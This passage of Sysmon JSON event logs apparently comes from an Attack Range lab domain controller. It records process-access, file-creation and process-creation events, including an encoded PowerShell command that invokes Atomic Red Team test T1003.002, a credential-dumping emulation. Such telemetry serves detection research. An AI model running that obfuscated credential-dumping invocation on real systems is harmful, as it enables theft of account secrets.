C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5766,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5767,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11dcd|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5768,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+d6ce|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5769,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.775\r\nSourceProcessGUID: {90617006-4171-5F2D-0000-0010F97D0800}\r\nSourceProcessId: 3292\r\nSourceThreadId: 4700\r\nSourceImage: C:\\Windows\\system32\\conhost.exe\r\nTargetProcessGUID: {90617006-4173-5F2D-0000-0010D8BE0800}\r\nTargetProcessId: 4212\r\nTargetImage: C:\\Windows\\system32\\whoami.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.775","SourceProcessGUID":"{90617006-4171-5F2D-0000-0010F97D0800}","SourceProcessId":"3292","SourceThreadId":"4700","SourceImage":"C:\\Windows\\system32\\conhost.exe","TargetProcessGUID":"{90617006-4173-5F2D-0000-0010D8BE0800}","TargetProcessId":"4212","TargetImage":"C:\\Windows\\system32\\whoami.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\SYSTEM32\\ConhostV2.dll+5c07|C:\\Windows\\SYSTEM32\\ConhostV2.dll+76ab|C:\\Windows\\SYSTEM32\\ConhostV2.dll+a84c|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:36","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5770,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: DLL\r\nUtcTime: 2020-08-07 11:56:35.963\r\nProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nProcessId: 2512\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.dll\r\nCreationUtcTime: 2020-08-07 11:56:35.963","Category":"File created (rule: FileCreate)","Opcode":"Info","RuleName":"DLL","UtcTime":"2020-08-07 11:56:35.963","ProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.dll","CreationUtcTime":"2020-08-07 11:56:35.963","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":11,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":2,"Task":11,"OpcodeValue":0,"RecordNumber":5771,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"File created:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nProcessId: 2512\r\nImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetFilename: C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline\r\nCreationUtcTime: 2020-08-07 11:56:35.963","Category":"File created (rule: FileCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.963","ProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","Image":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetFilename":"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline","CreationUtcTime":"2020-08-07 11:56:35.963","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":5772,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.971\r\nProcessGuid: {90617006-4173-5F2D-0000-00101EC20800}\r\nProcessId: 2692\r\nImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Visual C# Command Line Compiler\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: csc.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-4171-5F2D-0000-0020327D0800}\r\nLogonId: 0x87D32\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52\r\nParentProcessGuid: {90617006-4173-5F2D-0000-0010ABA40800}\r\nParentProcessId: 2512\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:35.971","ProcessGuid":"{90617006-4173-5F2D-0000-00101EC20800}","Image":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Visual C# Command Line Compiler","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"csc.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\" /noconfig /fullpaths @\"C:\\Users\\Administrator\\AppData\\Local\\Temp\\fquo5tdv\\fquo5tdv.cmdline\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-4171-5F2D-0000-0020327D0800}","LogonId":"0x87d32","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=4360A98D8785625667D2574D2DD5C988,SHA256=F7DB25AA420C14C514690C1E943EC1E729596973E911B3445DFAD42FE958711D,IMPHASH=ED2AE001A3FDD84BDC04C99A98883A52","ParentProcessGuid":"{90617006-4173-5F2D-0000-0010ABA40800}","ParentProcessId":"2512","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEMAbABlAGEAbgB1AHAA","EventReceivedTime":"2020-08-07 11:56:37","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:35","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":5773,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:35.963\r\nSourceProcessGUID: {90617006-4173-5F2D-0000-0010ABA40800}\r\nSourceProcessId: 2512\r\nSourceThreadId: 5112\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-4170-5F2D-0000-0010A14E0800}\r\nTargetProcessId: 2692\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\csc.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+270222|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26fe9f|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f9ee|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26f97a|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+26e48b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c241b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+7c18c9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffc200(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.P521220ea#\\7c5888f012755a21c68b60f0e76e135b\\Microsoft.PowerShell.Commands.Utility.ni.dll+ffffc200(wow64)|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c51487c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0655|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f0326|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4cfa173b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4b0ebc|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c50f38b|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f29f0|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+4c4f2881","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 